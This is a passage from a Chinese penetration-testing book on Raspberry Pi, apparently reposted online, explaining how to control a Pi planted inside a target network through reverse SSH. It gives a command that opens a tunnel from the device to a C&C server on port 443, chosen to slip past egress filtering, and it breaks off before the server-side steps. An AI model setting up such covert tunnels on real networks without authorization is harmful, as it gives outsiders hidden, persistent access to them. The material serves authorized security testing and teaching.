本节书摘来异步社区《树莓派渗透测试实战》一书中的第2章,第2.9节,作者【美】joseph muniz(约瑟夫 穆尼斯) , aamir lakhani(阿米尔 拉克哈尼),更多章节内容可以访问云栖社区“异步社区”公众号查看。
前面已经说过在远程地点用树莓派做渗透的优点。但将树莓派放到目标网络后,首要的问题是要怎样控制这台树莓派。最明显和灵活的做法就是kali linux上的ssh。
因为kali linux是一套完整功能的linux操作系统,可以通过ssh控制整个系统;然而,从外面连入的ssh连接可能会被防火墙或其他的安全措施拦截。许多机构都会部署安全措施,以拦截接入的连接,避免自己的网络被开后门。在白盒评估测试中,也许可以明确地要求在防火墙上开放端口设置,以访问到树莓派的ssh服务,如图2-19所示的那样。但即使公司政策不反对这一做法,但实际操作中很难实现,因为使用场景涉及多个地点,它们由不同的管理团队控制。此时反向ssh就是管理kali linux树莓派的好办法了。
在反向连接中,是由客户端连向服务器端,也是由它初始化到服务器端的连接,而不是服务器连到客户端。当然在这两种情况下,都是由服务器端控制客户端。这点与很多后门程序类似。为了使用方便,我们把这种技术用于系统管理。
许多入侵检测和拦截系统都会检查出ssh类型的流量,无论是从哪个端口进出。例如,即使同样采用443端口,ssh流量和常规的https也还是会有差异。
使用ssh命令的r开关来创建连向监听端的反向连接。监听端的设备处于监听状态,等待接受反向ssh连接。在设置的场景里,c&c服务器就是监听端。远程主机(树莓派)上使用的命令语法是:ssh -r [绑定的地址:]远程端口:本地主机:本地端口[6]。
r开关定义了远端树莓派要和哪个外网端口连接,以及如何发起连接。换而言之,还需要选择一个外网端口,让远端的树莓派可以连过来。大多数机构对往外连的请求过滤得并不严格,使得往外连的做法比标准的ssh接入更有效。一般防火墙都会开放包括22、80、443和53等tcp端口,也就是客户端通常可以自由地连接外网这些端口。
某些严格限制外连的协议检测设备,如下一代防火墙、下一代ips(入侵检测系统)和高级代理服务器可能会阻断这些连接。
本地端口是树莓派上某个服务的监听端口。在本场景中,运行的是ssh服务,所以本地端口默认是22。也可以把默认端口改得更隐秘些,或者使用加密通道,这部分内容会在本章后面介绍。总之这条命令会在c&c主控服务器上打开一个用于管理远端ssh的tcp端口,它在c&c服务器端等着接收树莓派的连入。而本地端口则是树莓派上运行ssh服务的实际端口。
在树莓派的例子里,输入以下命令:
ssh -fn -r 443:localhost:22 [email protected]<code>`</code>
在c&c服务器端,打开命令行终端,输入以下命令: